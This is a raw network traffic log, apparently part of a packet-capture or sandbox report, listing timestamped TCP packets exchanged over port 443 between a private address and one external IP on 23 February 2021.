Feb 23, 2021 10:04:39.490446091 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.490514040 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.491100073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.491121054 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.491219997 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.491759062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.491776943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.491832972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.492419958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.492439032 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.492525101 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.493091106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.493109941 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.493169069 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.493777990 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.493797064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.493872881 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.494398117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.494415998 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.494478941 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.495071888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.495090961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.495157003 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.495728970 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.495750904 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.495856047 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.496402979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.496428013 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.496501923 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.497045040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.497073889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.497143984 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.497697115 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.497720003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.497776985 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.498415947 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.498444080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.498533010 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.499006987 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.499030113 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.499051094 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.499120951 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.500000954 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.500022888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.500047922 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.500097990 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.500124931 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.500963926 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.500988960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.501010895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.501066923 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.501923084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.501950979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.501975060 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.502012968 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.502043962 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.502902031 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.502926111 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.502948046 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.502993107 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.503866911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.503890038 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.503911018 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.503957987 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.504010916 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.504828930 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.504851103 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.504872084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.504914045 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.505772114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.505800962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.505824089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.505857944 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.505887985 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.506736040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.506764889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.506792068 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.506875992 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.507705927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.507740974 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.507798910 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.507822990 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.507873058 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.508683920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.508716106 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.508744001 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.508821011 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.509602070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.509629011 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.509669065 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.509711981 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.509732962 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.510495901 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.510531902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.510569096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.510633945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.511430979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.511461973 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.511487961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.511518955 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.511569023 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.512408972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.512438059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.512465954 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.512535095 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.513292074 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.513329983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.513358116 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.513401031 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.513434887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.514208078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.514235973 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.514269114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.514303923 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.515127897 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.515158892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.515187025 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.515206099 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.515243053 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.516093016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.516148090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.516217947 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.516268015 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.517009020 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.517061949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.517096996 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.517102957 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.517152071 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.517913103 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.517952919 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.517991066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.518027067 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.518805981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.518846035 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.518879890 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.518884897 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.518929958 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.519721031 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.519762039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.519797087 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.519843102 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.520646095 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.520684958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.520721912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.520723104 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.520762920 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.521580935 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.521610022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.521626949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.521688938 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.522361994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.522380114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.522397041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.522444963 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.522470951 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.523267984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.523287058 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.523303986 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.523350954 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.524183989 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.524204016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.524220943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.524269104 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.524312019 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.525095940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.525115967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.525135040 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.525177002 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.525945902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.525965929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.525981903 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.526030064 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.526061058 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.526810884 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.526832104 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.526849031 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.526899099 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.527744055 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.527761936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.527781963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.527823925 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.527856112 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.528534889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.528553963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.528611898 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.528610945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.530283928 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.530313015 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.530325890 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.530344963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.530360937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.530380964 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.530416012 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.530450106 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.531157017 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.531174898 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.531188011 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.531270027 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.532053947 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.532074928 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.532093048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.532150030 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.532919884 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.532939911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.532953024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.533014059 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.533057928 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.533746004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.533770084 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.533787966 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.533833027 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.534686089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.534706116 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.534725904 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.534766912 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.534787893 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.535486937 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.535514116 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.535530090 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.535614967 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.536524057 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.536560059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.536587000 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.536634922 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.536669970 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.537206888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.537239075 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.537264109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.537329912 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.538146973 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.538177967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.538199902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.538238049 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.538270950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.538906097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.538937092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.538963079 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.539026022 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.539738894 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.539767981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.539789915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.539822102 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.539866924 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.540663958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.540693045 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.540715933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.540760040 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.541428089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.541455030 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.541476965 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.541510105 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.541534901 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.542416096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.542486906 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.542552948 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.542577028 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.543135881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.543209076 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.543221951 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.543247938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.543291092 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.543943882 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.543982983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.544028044 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.544059992 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.544784069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.544825077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.544863939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.544881105 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.544915915 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.545592070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.545634985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.545671940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.545717955 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.546406984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.546443939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.546475887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.546482086 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.546521902 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.547245979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.547290087 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.547331095 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.547353029 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.548073053 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.548116922 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.548152924 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.548156977 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.548197031 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.548886061 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.548927069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.548966885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.548986912 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.549686909 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.549730062 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.549767017 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.549787998 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.549833059 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.552371979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.552426100 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.552562952 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.555083036 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.596044064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596117973 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596158981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596199036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596303940 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.596324921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596353054 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.596369028 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596409082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596411943 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.596447945 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.596484900 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.597316027 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.597363949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.597429991 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.597459078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.597486019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.597523928 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.598217964 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.598248005 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.598269939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.598290920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.598298073 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.598331928 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.599179029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.599205017 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.599227905 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.599250078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.599282980 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.599351883 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.600096941 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.600125074 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.600145102 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.600168943 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.600198984 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.600227118 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.601070881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.601099968 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.601119995 CET	443	49769	104.21.50.15	192.168.2.6
